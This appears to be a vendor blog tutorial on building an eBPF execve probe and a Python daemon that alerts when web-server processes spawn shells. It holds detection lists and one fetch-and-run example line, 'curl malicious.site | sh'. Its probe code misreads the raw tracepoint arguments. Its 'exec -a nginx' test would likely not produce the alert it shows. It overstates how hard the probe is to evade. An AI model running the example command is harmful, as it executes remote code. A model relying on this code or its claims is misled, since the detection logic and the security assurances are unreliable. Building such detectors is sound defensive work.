If your host security telemetry still relies on userland auditd rules or LD_PRELOAD hooks, you are essentially asking attackers to leave a polite note before compromising your systems. Userland agents are trivial to strip, bypass, or blind via ptrace unhooking and direct syscall invocation. To get untamperable execution visibility inside containers and across hosts, you have to push your instrumentation down into the Linux kernel.
eBPF (Extended Berkeley Packet Filter) lets us run sandboxed programs directly inside the Linux kernel without modifying kernel source code or loading risky third-party kernel modules. In this tutorial, we will write a production-grade eBPF probe from scratch using the BPF Compiler Collection (BCC) to trap sys_enter_execve tracepoints, stream the execution context to userspace, and detect anomalous interactive shell spawns in real time.
Setting Up the Prerequisite Build Environment
Before writing eBPF code, your host needs the appropriate kernel headers, clang compiler infrastructure, and Python BCC bindings. eBPF programs compile into bytecode targeting an in-kernel virtual machine, requiring kernel headers that match your exact running kernel version.
On an Ubuntu/Debian host or container host, install the required toolchain with the following command:
sudo apt-get update && sudo apt-get install -y \
bpfcc-tools \
linux-headers-$(uname -r) \
python3-bpfcc \
clang \
llvm
Verify that your running kernel has CONFIG_BPF and CONFIG_HAVE_SYSCALL_TRACEPOINTS enabled by inspecting your config:
zgrep CONFIG_BPF /proc/config.gz || grep CONFIG_BPF /boot/config-$(uname -r)
If you see CONFIG_BPF=y and CONFIG_BPF_SYSCALL=y, your environment is ready to load customized BPF bytecode.
Writing the Kernel-Space eBPF Program
We will attach our program to the syscalls:sys_enter_execve tracepoint rather than raw kprobes. Kprobes hook into internal kernel function symbols, which can change between kernel minor releases; tracepoints offer a stable ABI across Linux versions.
Save the following kernel C code to a file named exec_probe.c:
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
// Structure to pass execution telemetry to userspace
struct event_t {
u32 pid;
u32 ppid;
u32 uid;
char comm[16];
char filename[256];
};
// Define a perf ring buffer named 'events'
BPF_PERF_OUTPUT(events);
// Tracepoint handler for sys_enter_execve
RAW_TRACEPOINT_PROBE(sys_enter_execve) {
// Access tracepoint arguments: ctx->args[0] is pointer to filename
struct pt_regs *regs = (struct pt_regs *)ctx->args[0];
struct event_t event = {};
// Fetch current process ID and User ID
u64 id = bpf_get_current_pid_tgid();
event.pid = id >> 32;
event.uid = bpf_get_current_uid_gid();
// Walk the task struct to extract the parent PID
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
event.ppid = task->real_parent->tgid;
// Read process executable name
bpf_get_current_comm(&event.comm, sizeof(event.comm));
// Safely copy the target executable path from user memory space
const char *filename_ptr = (const char *)ctx->args[0];
bpf_probe_read_user_str(&event.filename, sizeof(event.filename), filename_ptr);
// Submit telemetry event into the ring buffer
events.perf_submit(ctx, &event, sizeof(event));
return 0;
}
This snippet does three critical things:
- It safely reads memory out of user space using
bpf_probe_read_user_str, avoiding kernel memory access violations. - It extracts process context directly from the running kernel’s
task_struct(PID, PPID, UID, image name). - It emits structural binary events across a lockless perf ring buffer to userspace.
Writing the Userspace Event Collector and Detection Engine
Now we need a userspace daemon to compile the C code, load the bytecode into the kernel, attach it to the tracepoint, and evaluate incoming events against threat detection logic.
Create monitor.py in the same directory:
#!/usr/bin/env python3
import sys
import ctypes
from bcc import BPF
# Load and compile the eBPF C program
bpf = BPF(src_file="exec_probe.c")
# Define equivalent ctypes struct matching kernel memory layout
class Event(ctypes.Structure):
_fields_ = [
("pid", ctypes.c_uint32),
("ppid", ctypes.c_uint32),
("uid", ctypes.c_uint32),
("comm", ctypes.c_char * 16),
("filename", ctypes.c_char * 256),
]
# Detection logic: Trap shells originating from unexpected web server processes
SUSPICIOUS_PARENTS = {b"nginx", b"apache2", b"node", b"python", b"python3", b"gunicorn"}
TARGET_SHELLS = {b"/bin/bash", b"/bin/sh", b"/usr/bin/dash", b"/bin/zsh"}
def handle_event(cpu, data, size):
event = ctypes.cast(data, ctypes.POINTER(Event)).contents
filename = event.filename
comm = event.comm
is_anomaly = False
# Rule 1: Catch spawned shells where the parent is a web server or interpreter
if filename in TARGET_SHELLS and comm in SUSPICIOUS_PARENTS:
is_anomaly = True
reason = "Interactive shell spawned by web engine"
# Rule 2: Root process invocation by non-root UID
elif event.uid != 0 and filename.startswith(b"/usr/sbin"):
is_anomaly = True
reason = "Privileged binary invocation by non-root UID"
if is_anomaly:
print(f"\033[91m[ALERT - {reason}]\033[0m")
print(f" PID: {event.pid} | PPID: {event.ppid} | UID: {event.uid}")
print(f" Parent Comm: {comm.decode('utf-8', errors='replace')}")
print(f" Executed: {filename.decode('utf-8', errors='replace')}\n")
else:
print(f"[EXEC] PID: {event.pid} | Parent: {comm.decode('utf-8')} -> Exec: {filename.decode('utf-8')}")
# Bind python function to ring buffer
bpf["events"].open_perf_buffer(handle_event)
print("[*] eBPF Probe successfully compiled and attached. Listening for execve events...")
while True:
try:
bpf.perf_buffer_poll()
except KeyboardInterrupt:
sys.exit(0)
Running the Probe and Simulating an Attack
To test the implementation, run the Python host daemon with root privileges so it can invoke the bpf() system call and register the probe.
In Terminal 1:
sudo python3 monitor.py
You will see confirmation that the bytecode was compiled and attached.
Now, simulate a web app exploitation chain (such as Remote Code Execution spawning a reverse shell) in Terminal 2. Rename a Python binary or simulate a process named nginx spawning interactive /bin/sh:
# Rename bash session process context for testing
exec -a nginx /bin/sh
Back in Terminal 1, the userland detection output immediately triggers on the event streamed directly from the kernel ring buffer:
[ALERT - Interactive shell spawned by web engine]
PID: 43201 | PPID: 10442 | UID: 1000
Parent Comm: nginx
Executed: /bin/sh
Because the evaluation happens at the kernel layer via execve tracepoints, an adversary who unsets HISTFILE, uses ptrace tricks, or unlinks their binaries from /tmp cannot alter or suppress the telemetry emitted by this probe.
Scaling to Production: Overhead and Evasion Gotchas
While tracepoints provide reliable visibility, deploying eBPF telemetry at enterprise scale requires handling two crucial real-world realities:
-
Argument Truncation and Sequential Execve Calls: The standard
execveprobe shown above catches the entry file execution path (argv[0]). Attackers often pass malicious flags (bash -c "curl malicious.site | sh") deep insideargv. To capture the full command-line arguments without exhausting stack limits, you must read arrays of string pointers directly using iteratively bounded loops or raw buffer arrays viabpf_probe_read_user. -
Ring Buffer Dropping: High-volume host nodes running thousands of short-lived container executions can saturate the perf ring buffer. If your userspace Python worker stalls (e.g., waiting on synchronous SIEM writes or network calls), the kernel buffer will drop events. Use
BPF_RINGBUF(available in Linux 5.8+) over legacyBPF_PERF_OUTPUT, as it uses a shared memory page structure across all CPU cores with significantly lower cache-line contention and built-in drop metrics.
Related content
Want a second set of eyes on your security posture?
Let's talk about where your real exposure is.
Book an advisory call